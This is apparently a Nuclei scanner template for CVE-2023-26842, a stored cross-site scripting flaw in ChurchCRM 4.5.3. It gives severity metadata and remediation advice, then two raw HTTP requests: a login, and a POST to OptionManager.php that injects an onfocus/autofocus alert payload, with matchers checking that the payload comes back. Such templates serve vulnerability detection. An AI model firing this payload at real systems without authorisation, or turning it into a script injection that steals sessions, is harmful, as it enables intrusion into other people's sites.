id: CVE-2023-26842

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26842
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26842
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26842
    cwe-id: CWE-79
    epss-score: 0.01409
    epss-percentile: 0.69126
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=" onfocus=alert(document.domain) autofocus="&AddField=Add+New+Person+Classification

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=alert(document.domain) autofocus=")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 490a0046304402207c040ab1f6300bec96fbcdc4379d76ae8b7c3187a30192b28c575455c16b395302201fd7808b0c371de0f561f086b81cacd0308b35289599e6d66ae3d6b3a9975156:922c64590222798bb761d5b6d8e72950